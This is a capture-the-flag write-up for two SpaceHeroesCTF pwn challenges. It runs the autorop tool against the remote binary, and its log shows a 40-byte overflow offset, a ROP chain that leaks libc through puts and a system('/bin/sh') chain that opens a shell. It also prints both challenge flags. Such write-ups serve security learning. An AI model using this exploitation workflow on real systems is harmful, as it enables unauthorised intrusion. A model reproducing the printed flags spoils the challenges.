# Vader and Rule of Two 
### This is a UNINTENDED Solution for this two challenges.
Challenge Description:
```bashVader100MediumSubmit flag from /flag.txt from 0.cloud.chals.io:20712
Author: v10l3nt
0.cloud.chals.io:20712``````bashRule of Two375Hard"Always there are two. No more or no less." - Yoda
Submit /sith.txt flag from 0.cloud.chals.io:20712
Author: v10l3nt
0.cloud.chals.io:20712```
If you see close, you note that both challenge has the same address, same port, and most important, the same binary!!
I will use an automated tool for CTF PWN resolution challenges called [AUTOROP](https://autorop.readthedocs.io/en/latest/)
```bash┌──(leonuz㉿sniper)-[~[~/SpaceHeroesCTF/PWN/Vader]]└─$ autorop ./vader 0.cloud.chals.io 20712 [*] '/home/leonuz/CTFs/SpaceHeroesCTF/vader'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] Produced pipeline: Classic(Corefile(), OpenTarget(), Puts(False, ['__libc_start_main', 'puts']), Auto(), SystemBinSh())[*] Pipeline [1/5]: Corefile()[+] Starting local process './vader': pid 9817[*] Process './vader' stopped with exit code -11 (SIGSEGV) (pid 9817)[+] Receiving all data: Done (0B)[+] Parsing corefile...: Done[*] '/home/leonuz/CTFs/SpaceHeroesCTF/core.9817'    Arch:      amd64-64-little    RIP:       0x4015f9    RSP:       0x7ffe4eb5c7c8    Exe:       '/home/leonuz/CTFs/SpaceHeroesCTF/vader' (0x400000)    Fault:     0x6161616161616166[*] Fault address @ 0x6161616161616166[*] Offset to return address is 40[*] Pipeline [2/5]: OpenTarget()[+] Opening connection to 0.cloud.chals.io on port 20712: Done[*] Pipeline [3/5]: Puts(False, ['__libc_start_main', 'puts'])[+] Opening connection to 0.cloud.chals.io on port 20712: Done[*] Loaded 20 cached gadgets for './vader'[*] 0x0000:         0x401016 ret    0x0008:         0x40165b pop rdi; ret    0x0010:         0x404ff0 [arg0] rdi = __libc_start_main    0x0018:         0x401030 puts    0x0020:         0x401016 ret    0x0028:         0x40165b pop rdi; ret    0x0030:         0x405018 [arg0] rdi = got.puts    0x0038:         0x401030 puts    0x0040:         0x401016 ret    0x0048:         0x4015b5 main()[*] leaked __libc_start_main @ 0x7f1409a81720[*] leaked puts @ 0x7f1409acfde0[*] Pipeline [4/5]: Auto()[*] Searching for libc based on leaks using libc.rip[!] 8 matching libc's found, picking first one[*] Downloading libc[*] '/home/leonuz/CTFs/SpaceHeroesCTF/.autorop.libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Pipeline [5/5]: SystemBinSh()[*] Loaded 191 cached gadgets for '.autorop.libc'[*] 0x0000:         0x401016 ret    0x0008:         0x40165b pop rdi; ret    0x0010:   0x7f1409be2962 [arg0] rdi = 139724039530850    0x0018:   0x7f1409aa3850 system    0x0020:         0x401016 ret    0x0028:         0x4015b5 main()[*] Switching to interactive modeMMMMMMMMMMMMMMMMMMMMMMMMMMMWXKOxdolc;',;;::llclodkOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOoc;::::::;;;clkKNXxlcccc:::::cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWMMNkc,;clccc;,...    .:c:. ...,;:cccc:,,ckNMWMMMMMMMMMMMMMDARKMMMMMMMMMMMMMMMMMMXx;;lol:'            .'.           .':loc',xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0:;dxlcc'            .dO;             .::lxo':0MMMMMMMMMMMMS1D3MMMMMMMMMMMMMMMWk':Ol;x0c           ';oKK: .            cOo,dk;,OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMO':Ol:0Xc            l0OXNc.l'            cKO;o0;,KMMMMMMMMMMMMOFMMMMMMMMMMMMMMX:'Oo:KMd             o0ONWc'x,            .xM0:xk.lWMMMMMMMMMMMMMMMMMMMMMMMMMMMx.okcOMMk.            o0OWMl'x;            .xMMklOc'OMMMMMMMMMMTH3MMMMMMMMMMMMMWc'xldWMMWKx'          oOkNMo,x;          'oONMMWdod.oMMMMMMMMMMMMMMMMMMMMMMMMMMK;:dl0MMMMMXc          lOxNMo'd;          lWMMMMMOld;:NMMMMMMMFORC3MMMMMMMMMMMMMO':ldWMMMMWo           ckxNMd,d;          .kMMMMMNlc;,KMMMMMMMMMMMMMMMMMMMMMMMMMk';cxMMMMMWOl:,.       cxxNMx;d;       .,;l0MMMMMWdc;'0MMMMMMMMMMMMMMMMMMMMMMMMMx',cOMMMWXOxoc;.       cxxNMkcx:       .cdkOXWMMMMd:;'0MMMMMMMMMMMMMMMMMMMMMMMMMx';;l0xl,.    .       ,0xdWMOcOx.           .,lkXWd:;'OMMMMMMMMMMMMMMMMMMMMMMMMMd.ld:'    .',;::ccc:;,kWxxWMOlONo',:cc::,'...   'ood:'OMMMMMMMMMMMMMMMMMMMMMMMMWl.xK:            .';coOXo:xxo:kKkl:;'.           .oXl.OMMMMMMMMMMMMMMMMMMMMMMMM0';d'       .......',;;''.    ..'',;,'......        lo.lWMMMMMMMMMMMMMMMMMMMMMMX:,l'        ..      .',:;lo. ;d:;:,..     ..         c:.xWMMMMMMMMMMMMMMMMMMMMNc,o,                     '0XxoOWd.                    .l:,0MMMMMMMMMMMMMMMMMMMWd,o;                      .xMNXWWc                      .o::XMMMMMMMMMMMMMMMMMMk,oc                    .. .kXkdONc ..                    'd;oWMMMMMMMMMMMMMMMM0;lo.         .;:,'....  'cxxo;'''cxxo:. ......';'          :x:xWMMMMMMMMMMMMMMK:lx.           'xNNXXXKd;;::,.,l:..':c;,;xKKKXX0l.           oxcOMMMMMMMMMMMMMXcck,         ..   ,cloool:. .lc,,'.cx, .';looooc.             .kxlKMMMMMMMMMMMWoc0c      .'. .cdll;..',;lkOxxl:xOOxclddkkl:,''.';:cl'  ..      :KddNMMMMMMMMMWxc0x.       :o; .xWWKkdodkKWMMKlxWMMMKdOMMWXkdoloONMXc .cc.      .dXdxWMMMMMMMMOcOK;         'xd.'0MMMMMMMXk0Xc'dKXXKO:,0KkKWMMMMMMWo.;xl.        ,0XxOWMMMMMM0lkNo           .xO;cXWWMWXd:dx; ;d;,:l:  ;xd:l0WMMMWx,oO;           oWKx0MMMMMKokW0'            .dKdOWMNx;ckd:. lK,.cOd..lcdO:'oXMMKokO,            .OWKkXMMMXdxN0;              .kWNWXc.,d;.do lK,.:kd.,0l.;o,.:KWNNK,              ;KW0kNMNxdOc.                ,0MMd..;l''Oo lK,.;kd.;Ko .,,. lWMXc                'xXOOWxd0d.                  ;KMO,.c0ocXk;xXocxK0cdNOcol'''dWWd.                 .o0kO,xWX:                   :XXc.:oddxxxxxxddxxxxkkOko;.:KNd.                  'kN0l.,dOkdoc:,'..            .'..,lxkox0OO0kxOOxOOddxl,..,,.              ..,:lkKOl.x,...',;:cc::;,,'''...        .,;cdO0KKKXXKkdo:,,'.        ...'',,,,;;clllc;'..;MNKOxdoolcc::;;;;. ..             ..,;:clc;..              ...,;;;,,'',;;:clox0NMMMMMMMMMMMMMMMMW0;                                          'kKXXNNNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMNd,..          ........                .. .kWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKxl;..       'okOOko:,..     ..  ....';lKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXkdc'....   .,cc:,,'..  .'o0Oo:;:cokXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkdoc;''''',,;;:::::::ccllclx0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkol:;,'.''''....,cokKWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 When I left you, I was but the learner. Now I am the master >>> $ 
 ```
At this point, we can see the prompt `$` which indicate that the machine has been pwn. Let's list the directory looking for the flags. 
```bash When I left you, I was but the learner. Now I am the master >>> $ ls-banner_failbinbootdevetcflag.txthomeliblib32lib64libx32mediamntoptprocrootrunsbinservice.confsith.txtsrvsystmpusrvadervarwrapper$ cat flag.txtshctf{th3r3-1s-n0-try}$ cat sith.txtshctf{W1th0ut-str1f3-ur-v1ctory-has-no-m3an1ng}$ [*] Interrupted[*] Closed connection to 0.cloud.chals.io port 20712[*] Closed connection to 0.cloud.chals.io port 20712 ```flag for "Vader" Challenge is inside of flag.txt##### shctf{th3r3-1s-n0-try}   flag for "Rule of two" Challenge is inside of sith.txt##### shctf{W1th0ut-str1f3-ur-v1ctory-has-no-m3an1ng}  
- - -#### More Info about automatic tools for PWN here - [AUTOROP](https://github.com/mariuszskon/autorop)- [ZERATOOL](https://github.com/ChrisTheCoolHut/Zeratool)
- - -### Final Notes.
An excellent engineering professor taught me that **"As an engineers we can't know ALL the answers, but we SHOULD know how to look for them"**.
- - -
Thanks [FITSEC Team](https://research.fit.edu/fitsec/) for the excellent CTF.
For fun and knowledge, always think out of the box! :)